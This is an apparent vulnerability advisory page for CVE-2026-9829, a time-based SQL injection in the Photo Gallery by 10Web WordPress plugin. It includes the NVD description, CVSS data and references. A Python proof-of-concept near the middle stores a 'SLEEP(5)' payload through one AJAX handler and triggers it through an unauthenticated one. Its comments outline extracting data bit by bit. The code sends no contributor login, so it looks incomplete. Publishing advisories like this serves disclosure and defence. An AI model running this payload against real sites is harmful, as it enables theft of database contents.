Security Vulnerability Report
中文
CVE-2026-9829 CVSS 6.5 MEDIUM

CVE-2026-9829

Published: 2026-06-06 05:16:30
Last Modified: 2026-06-06 05:16:30

Description

The Photo Gallery by 10Web – Mobile-Friendly Image Gallery plugin for WordPress is vulnerable to time-based SQL Injection via 'compact_album_order_by' Shortcode Parameter in all versions up to, and including, 1.8.41 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The malicious payload is stored via the 'shortcode_bwg' AJAX handler — accessible to Contributor-level users and exploitable without a valid nonce by omitting the 'page' parameter — and is subsequently triggered by the unauthenticated 'bwg_frontend_data' AJAX handler, meaning successful exploitation requires only that an attacker has Contributor-level access to save the shortcode.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Photo Gallery by 10Web (WordPress插件) <= 1.8.41

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9829 SQL Injection PoC # WordPress Photo Gallery by 10Web <= 1.8.41 # Requires Contributor-level access import requests import time target_url = "http://target-wordpress-site.com" # Step 1: Store malicious shortcode with SQLi payload via shortcode_bwg AJAX store_payload = { "action": "shortcode_bwg", "shortcode_id": "1", "shortcode": "[photo_album compact_album_order_by='1; SELECT SLEEP(5)-- ']" } response1 = requests.post(f"{target_url}/wp-admin/admin-ajax.php", data=store_payload, cookies={'wordpress_test_cookie': 'WP+Cookie+check'}) print(f"Step 1 - Stored payload: {response1.status_code}") # Step 2: Trigger the payload via bwg_frontend_data AJAX (unauthenticated) trigger_payload = { "action": "bwg_frontend_data", "shortcode_id": "1" } start_time = time.time() response2 = requests.post(f"{target_url}/wp-admin/admin-ajax.php", data=trigger_payload) elapsed = time.time() - start_time if elapsed > 5: print(f"SQL Injection confirmed! Response time: {elapsed}s") # Extract data using time-based blind SQLi techniques # Example: Use SUBSTRING() and ASCII() with SLEEP() to extract data bit by bit else: print("Injection failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9829", "sourceIdentifier": "[email protected]", "published": "2026-06-06T05:16:29.917", "lastModified": "2026-06-06T05:16:29.917", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Photo Gallery by 10Web – Mobile-Friendly Image Gallery plugin for WordPress is vulnerable to time-based SQL Injection via 'compact_album_order_by' Shortcode Parameter in all versions up to, and including, 1.8.41 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The malicious payload is stored via the 'shortcode_bwg' AJAX handler — accessible to Contributor-level users and exploitable without a valid nonce by omitting the 'page' parameter — and is subsequently triggered by the unauthenticated 'bwg_frontend_data' AJAX handler, meaning successful exploitation requires only that an attacker has Contributor-level access to save the shortcode."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/photo-gallery/tags/1.8.40/admin/controllers/Shortcode.php#L59", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/photo-gallery/tags/1.8.40/framework/WDWLibrary.php#L2281", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/photo-gallery/tags/1.8.40/frontend/models/model.php#L113", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/photo-gallery/tags/1.8.40/frontend/models/model.php#L162", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/photo-gallery/tags/1.8.40/photo-gallery.php#L717", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/photo-gallery/tags/1.8.41/admin/controllers/Shortcode.php#L59", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/photo-gallery/tags/1.8.41/framework/WDWLibrary.php#L2281", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/photo-gallery/tags/1.8.41/frontend/models/model.php#L113", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/photo-gallery/tags/1.8.41/frontend/models/model.php#L162", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/photo-gallery/tags/1.8.41/photo-gallery.php#L717", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3553847", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cae7dabd-ce43-43e3-9f67-b2de55bd720b?source=cve", "source": "[email protected]"}]}}